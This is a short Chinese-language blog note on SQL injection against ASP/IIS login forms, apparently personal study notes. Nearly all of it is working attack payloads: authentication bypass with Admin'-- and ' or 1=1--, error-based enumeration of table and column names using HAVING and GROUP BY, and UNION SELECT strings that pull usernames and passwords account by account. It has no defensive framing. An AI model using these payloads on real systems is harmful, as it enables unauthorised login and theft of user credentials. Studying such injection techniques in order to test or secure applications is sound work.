SQL注入筆記

1,在登陸界面中知道用戶名時(比如Admin),在用戶名處輸入Admin'--

// SELECT * FROM User WHERE UserName='Admin'--

此時,密碼被無效

2,不知道用戶名時,在密碼處輸入  '  or 1=1--

//SELECT * FROM User WHERE UserName='' or 1=1--      恆爲真

3,微軟爲了程序開發人員的方便,在Script執行出錯時,都通過%systemroot%\WINNT\HELP\iisHelp\common\500-100.asp腳本將發生的錯誤傳回瀏覽器。

在注入語句(登陸口)後輸入  '  HAVING 1=1 --會報錯。輸出數據表名和一個段名(如UserID)

再次輸入   'GROUP BY UserID HAVING 1=1-- 然後得到下一個表名。。。繼續重複可得到表中所有段。

4,獲取用戶賬號密碼:

'UNION SELECT UserName,1,1,1 FROM tbUser WHERE UserName > 'a' --

出現IIS返回信息:將nvarchar 'admin' 數值轉換爲INT出錯-----得到用戶名

得到密碼: ' UNION SELECT Password,1,1,1 FROM User WHERE UserName='admin'--

繼續得到其它人的賬戶:

'UNION SELECT Password,1,1,1 FROM User WHERE UserName > 'admin'--

重複替換admin位置即可

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章